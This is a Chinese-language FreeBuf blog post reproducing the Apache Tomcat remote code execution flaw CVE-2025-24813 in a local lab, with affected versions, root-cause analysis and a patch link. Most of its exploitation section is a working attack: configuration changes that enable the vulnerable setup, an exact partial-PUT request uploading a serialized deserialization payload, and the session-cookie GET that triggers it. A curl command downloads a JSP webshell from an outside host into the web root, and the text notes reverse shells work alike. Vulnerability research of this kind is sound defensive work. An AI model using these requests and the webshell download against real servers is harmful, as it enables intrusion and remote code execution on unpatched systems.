freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)
pulumusita 2025-03-22 23:11:48 41103
所属地 海南省

漏洞介绍

Apache Tomcat 命令执行漏洞(CVE-2025-24813)

Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。

漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98

  • 10.1.0-M1 <= tomcat <= 10.1.34

  • 11.0.0-M1 <= tomcat <= 11.0.2

漏洞原理分析

Content-Range在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT

upload5image-20250321211125092.png

该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:文件路径中的分隔符/会被转换为.。例如:访问/xxxxx/session会被解析为.xxxxx.session

因此整个漏洞的利用过程为:

  1. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT

  2. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件

  3. 通过设置JSESSIONID=.xxxxx来触发漏洞

环境搭建

漏洞利用环境还是较为苛刻的,该漏洞的核心在于 Tomcat 在处理不完整PUT请求上传时,会使用了一个基于用户提供的文件名和路径生成的临时文件。

若同时满足以下条件,攻击者可执行任意代码:

  1. 默认 Servlet 启用了写权限(默认禁用)

  2. 启用了部分PUT请求支持(默认启用)

  3. 应用程序使用 Tomcat 的基于文件的会话持久化(默认存储位置)

  4. 应用程序包含可被利用于反序列化攻击的库

下面就是需要下载和配置的设置

复现版本Tomcat 9.0.98

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip

构造利用条件:

条件一、需要在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

upload5image-20250321205642707.png

条件二、PUT方法默认开启

条件三、在conf/context.xml中,开启File文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">        
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

upload5image-20250321205736018.png

条件四、下载 commons-collections-3.2.1.jar, 将该 jar 包放入webapps\ROOT\WEB-INF\lib目录下,如果没有这个目录就创建一个

https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar

upload5image-20250321205923994.png

环境搭建好后就点击bin目录下的startup.bat启动环境即可

upload5image-20250321232535464.png

漏洞复现

【Yso-Java Hack】模块快速生成一个利用payload:

upload5image-20250321174901535.png

使用以下数据包上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。

PUT /xxxxx/session HTTP/1.1  
Host: 127.0.0.1:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{反序列化文件内容)}}

upload5image-20250321174816844.png

使用以下poc进行触发

GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.xxxxx

upload5image-20250321212814734.png

也可以上传webshell,把执行的命令修改一下即可,默认执行cmd的地方是bin目录,马传到那上面没用,所以把路径改一下就ok了,其他反弹shell啥的都是一样的

这里如果写入失败的话,有可能是本地普通用户无写文件的权限,设置一下就能写进去了

curl -o "..\webapps\ROOT\shell.jsp" "https://www.plumstar.cn/shell.jsp"

upload5image-20250321232251296.png

upload5image-20250321232351075.png

传上去的jsp马是存在的,但是你访问是不可读的,这里应该是tomcat的某些机制把吧

upload5image-20250322210814834.png

修复方案

Apache基金会官方已发布漏洞公告,可下载补丁更新:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

# 漏洞 # 网络安全
本文为 pulumusita 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
pulumusita LV.1
https://www.plumstar.cn
  • 1 文章数
  • 0 关注者
文章目录